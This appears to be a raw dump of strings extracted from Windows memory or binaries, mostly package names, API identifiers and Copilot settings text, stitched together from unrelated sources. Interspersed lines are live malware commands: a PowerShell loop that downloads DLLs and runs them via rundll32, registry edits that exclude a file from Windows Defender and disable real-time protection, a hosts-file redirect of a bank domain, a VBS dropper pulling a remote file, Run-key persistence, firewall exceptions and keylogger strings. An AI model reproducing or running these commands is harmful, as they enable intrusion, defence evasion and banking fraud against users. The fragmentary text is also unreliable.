%IEProfile_InternetSettings%\SO\MISC\DRAGDROP_XDOM_ACROSSWINDOWS\DISABLE!Type
%BrowserAppProfile%\New Windows\Allow
Microsoft.Windows.TlgAggregateInternal
WindowsCreateStringReference
WindowsDeleteString
WindowsIsStringEmpty
WindowsGetStringRawBuffer
c:\windows\system32\
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Cache
Microsoft-Windows-DirectPlay-OC-Opt-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat
Microsoft-Windows-DirectPlay-OC-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.Firewall
Microsoft.Windows.Networking.EDP
Microsoft.Windows.Firewall.Aggregate
Microsoft.Windows.Firewall
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Hyper.V.VmsIf
Microsoft.Windows.Networking.FlowSteering
/".split(",");foreach($stin$strs){$r1=get-random;$r2=get-random;$tpth="c:\programdata\"+$r1+".dll";invoke-webrequest-uri$st-outfile$tpth;if(test-path$tpth){$fp="c:\windows\syswow64\rundll32.exe";$a=$tpth+",f"+$r2;start-process$fp-argumentlist$a;break;}}
windows 
EnumWindows
Microsoft.Windows.FileSystem.CloudFiles
Microsoft.Windows.TlgAggregateInternal
Mozilla/5.0 (Windows NT 10.0; Win64; x
pcshell\shell\Windows.UI.FileExplorer\src\Tabs\FileExplorerTabsController.cpp
pcshell\shell\Windows.UI.FileExplorer\src\Tabs\FileExplorerProgressIndicatorSource.cpp
pcshell\shell\Windows.UI.FileExplorer\src\RefreshCommand.cpp
pcshell\shell\Windows.UI.FileExplorer\src\NavigateUpCommand.cpp
Fpcshell\shell\Windows.UI.FileExplorer\src\CancelCommand.cpp
pcshell\shell\Windows.UI.FileExplorer\src\Tabs\FileExplorerTab.cpp
pcshell\shell\Windows.UI.FileExplorer\src\CommandBar\FileExplorerMenuItem.cpp
.?AU?$producer_convert@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@V?$tuple@U?$IObservableVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@U?$IVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@2345@U?$IVectorView@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@2345@U?$IIterable@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@2345@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@2345@@std@@@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$vector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@V?$allocator@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@U54@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@U54@@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@U54@U54@@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt
regadd""hklm\software\policies\microsoft\windowsdefender\exclusions\processes""/v""c:\programdata\windowstask\amd.exe""/treg_dword/d0/f
\windows\system32\windowspowershell\v
\powershell.exe-noprofile-noninteractive-executionpolicybypass-windowstylehidden-encodedcommand
$k\system32\cmd.exe/cstart
.vbs&copy%windir%\system32\cmd.exe,%windir%\temp\sys.exe&start/min%windir%\temp\sys.exe/cstartexplorerh
DriverData=C:\Windows\System32\
The Windows security setting, "System cryptography: Use FIPS compliant algorithms for encryption, hashing, and signing", is enabled. 
System.Windows.Forms.ButtonInternal
windows.hlp`
System.Windows.Forms.IKeyboardToolTip.OnHooked
System.Windows.Forms.IKeyboardToolTip.OnUnhooked
System.Windows.Forms.IKeyboardToolTip.HasRtlModeEnabled
Windows Defen
System32\taskhr
System.Windows.Forms.UnsafeNativeMethods.IPropertyBag.Read
System.Windows.Forms.UnsafeNativeMethods.IPersistStorage.Load
System.Windows.Forms.UnsafeNativeMethods.IPersistPropertyBag.Load
System.Windows.Forms.UnsafeNativeMethods.IPersistStreamInit.Load
i!BMGroup:InjectWindowsProc
??1QWindowsPipeReader@@UEAA@XZ
??1QWindowsPipeWriter@@UEAA@XZ
47^windows.protocol$
48^windows.backgroundTask
amd64_microsoft-windows-e..zard-task.resources_31bf3856ad364e35_en-us_771e9aa9b4114861
amd64_microsoft-windows-eaime-adm.resources_31bf3856ad364e35_en-us_dd9614ef7d89ab59
amd64_microsoft-windows-eaime-adm_31bf3856ad364e35_none_d2a27e47d42bb00c
amd64_microsoft-windows-eapmethods_31bf3856ad364e35_none_831588caf9be2090
amd64_microsoft-windows-eappcfgui.resources_31bf3856ad364e35_en-us_542dbd0838c7da07
amd64_microsoft-windows-eappcfgui_31bf3856ad364e35_none_3f95aabbbde737ca
amd64_microsoft-windows-eapprivateutil_31bf3856ad364e35_none_7dfb78f40b973ce3
amd64_microsoft-windows-eapteap.resources_31bf3856ad364e35_en-us_253dbd63676de91d
amd64_microsoft-windows-eapteapext.resources_31bf3856ad364e35_en-us_71505903ea751864
www.bancoitau.com.br>>%windir%\system32\drivers\etc\hosts.echo209.59.212.
com.microsoft.windows.app.personacardmanager
Microsoft.Windows.Servic
WindowsCreateStringReference
GetWindowsDirectoryW
Windows.UI.FileExplorer.dll
/:setfso=createobject("scripting.filesystemobject")ifnotfso.folderexists(folderpath)thenfso.createfolderfolderpathsetfolder=fso.getfolder(folderpath)folder.attributes=folder.attributes+2'tornaapastaocultaendif'scriptpowershellembutidoparaexecutartarefasdimpsscriptpsscript="powershell.exe-executionpolicybypass-windowstylehidden-command"&_"""$downloadurl='https://api-conect-v1.org/@@/vzip_renamed.dat';
powershell.exe-windowstylehidden"get-disksnv;function
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-OneCore-WebService-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Feeds.Providers.CustomQueryParametersUpdateOptions.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Feeds.Providers.FeedManager.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Feeds.Hosts.FeedHost.g.h
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
Open "C:\Windows\Temp\
.Controls(0).ControlTipText= CreateObject("Shell.Application").NameSpace("C:\Windows
\system32\windowspowershell\v1.0\powershell.exe"-executionpolicyunrestricted-window1[void]$null
92.99.214.32/word1.tmp""C:\Windows\Temp\
c:\windows\system32\cmd.exe /c del "c:\temp\mia
c:\windows\system32\netsh.exe firewall add allowedprogram "
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
   Alerta do Windowsd
c:\windows\keylog.txtfucking errorFound Tiberian Sun CDKey (%s).JOIN %s %sPRIVMSG %s :invalid nick!KX
tassembly.gettype('system.management.automation.windowserrorreporting
windowsformsapplication
pcshell\shell\Windows.UI.FileExplorer\src\ContextMenuPresenter.h
pcshell\shell\Windows.UI.FileExplorer\src\UndockedCommands.h
GetWindowSize %f %f
pcshell\shell\Windows.UI.FileExplorer\src\DesktopSpotlightHost.cpp
pcshell\shell\Windows.UI.FileExplorer\src\DetailsPane\DetailsPaneViewAdapter.cpp
4pcshell\shell\Windows.UI.FileExplorer\src\dllmain.cpp
pcshell\shell\Windows.UI.FileExplorer\src\FastStorageItemHelper.h
pcshell\shell\Windows.UI.FileExplorer\src\FileExplorerView\FileExplorerView.cpp
pcshell\shell\Windows.UI.FileExplorer\src\FileExplorerView\FileExplorerSelectionSource.cpp
\windows\serviceprofiles\adsync\
^windows.protoco(
83^windows.protocolh
83^windows.appService
OneDrive_NGSC_ActivityCenter_Windows
c:/windows/system32/driverstore/filerepository/usb4hostrouter.inf_amd64_2959532e31ffcc25*
c:/windows/system32/d
.?AU?$default_delete@VShareWindowCommandSourceProxyOwner@Bamo@ShareWindow@Shell@Internal@Windows@@@std@@
%Microsoft Windows Production PCA 20112011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
windows\ime\:c;
windows\system.\:cW
windows ,soib 
windows\allow\ wen
pyi-windows-manifest-filename t.exe.manifest!#ALF:Trojan:Win32/Trickbot.DD!MTB
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-LanguageFeatures-OCR-en-gb-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|red-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
\software\policies\microsoft\windowsdefender\real-timeprotection"/v"disablerealtimemonitoring"/treg_dword/d"1"/f
\windows\currentversion\policies\activedesktop
WINDOWS11
The locale-independent name for the group that this rule belongs to.  If this field is non-null, then Windows Defender Firewall with Advanced Security assumes that this rule belongs to a Windows component or an installed application, and some parts of the rule are protected (including but not limited to the Name, Description, Program, and Service).
-propertytypestring-value"$home\appdata\local\microsoft\vault\tiworkers.exe"-pathhkcu:\software\microsoft\windows\currentversion\run\-force
Windows NT 6.2
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent
Windows NT %u.%u%s
GetWindowsDirectoryW
WindowsCreateString
WindowsDuplicateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsStringHasEmbeddedNull
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsGetStringLen
WindowsDeleteStringBuffer
WindowsPromoteStringBuffer
WindowsPreallocateStringBuffer
windows.hlp
)ionpolicybypass-windowstylehidden-c$($
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsCreateString
pWindowsSearchTaskServerActivationFactoryWinRTTypeDetails
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
9PBM67RXX3V8Little Nightmares II Enhanced Edition - Windowshttps://store-images.s-microsoft.com/image/apps.28298.14120603671422983.276bdb7c-80c3-44c3-a0a2-c6f4510ef9af.8e0fbb26-a02b-4591-a58d-176378990e22en
9PBM67RXX3V8Little Nightmares II Enhanced Edition - Windowshttps://store-images.s-microsoft.com/image/apps.28298.14120603671422983.276bdb7c-80c3-44c3-a0a2-c6f4510ef9af.8e0fbb26-a02b-4591-a58d-176378990e22fr
9PBM67RXX3V8Little Nightmares II Enhanced Edition - Windowshttps://store-images.s-microsoft.com/image/apps.28298.14120603671422983.276bdb7c-80c3-44c3-a0a2-c6f4510ef9af.8e0fbb26-a02b-4591-a58d-176378990e22de
3.Volume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\machine.pckgdep
.diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy\machine.pckgdep
{diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy\machine.pckgdep
evice\3|!=diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy\machine.pckgdep
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
V"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:App.AppXe9cvj1thv1hmcw0cs98xm3r97tyzy2xs.mca|
sts.windows.net8
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\windows\system32
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Devices.Enumeration.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Foundation.Collections.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt/Windows.Data.Json.h
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.Data.Json.h
windows 
WinLogonFlags:                 0x%08X
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwel
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbwe
windows.protocol
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1rentS
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1742~a
Microsoft.Windows.Security.WsiEnvironmentAccountManager
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwee
k"http://officewindowssecurityfirewallopen.duckdns.org/
Microsoft.Windows.Photos_8wekyb3d8bbwe!App
windows.fileTypeAssociation
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
windows.protocol
microsoft.windows.photos.crop
microsoft.windows.photos.crop
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
microsoft.windows.photos.videoedit
microsoft.windows.photos.videoedit
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
microsoft.windows.photos.picker
microsoft.windows.photos.picker
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_neutral_split.scale-100_8wekyb3d8bbwe
Microsoft.Windows.Photos_24.24070.23002.0_neutral_split.scale-125_8wekyb3d8bbwe
windows.protocol
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe!App
windows.protocol
windows-feedback
windows-feedback
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwey
gMicrosoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe9
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
windows.fileTypeAssociation
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
Microsoft.WindowsStore_8wekyb3d8bbwe!App
windows.protocol
ms-windows-store
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
ms-windows-store2
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
~_Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
ms-windows-store2
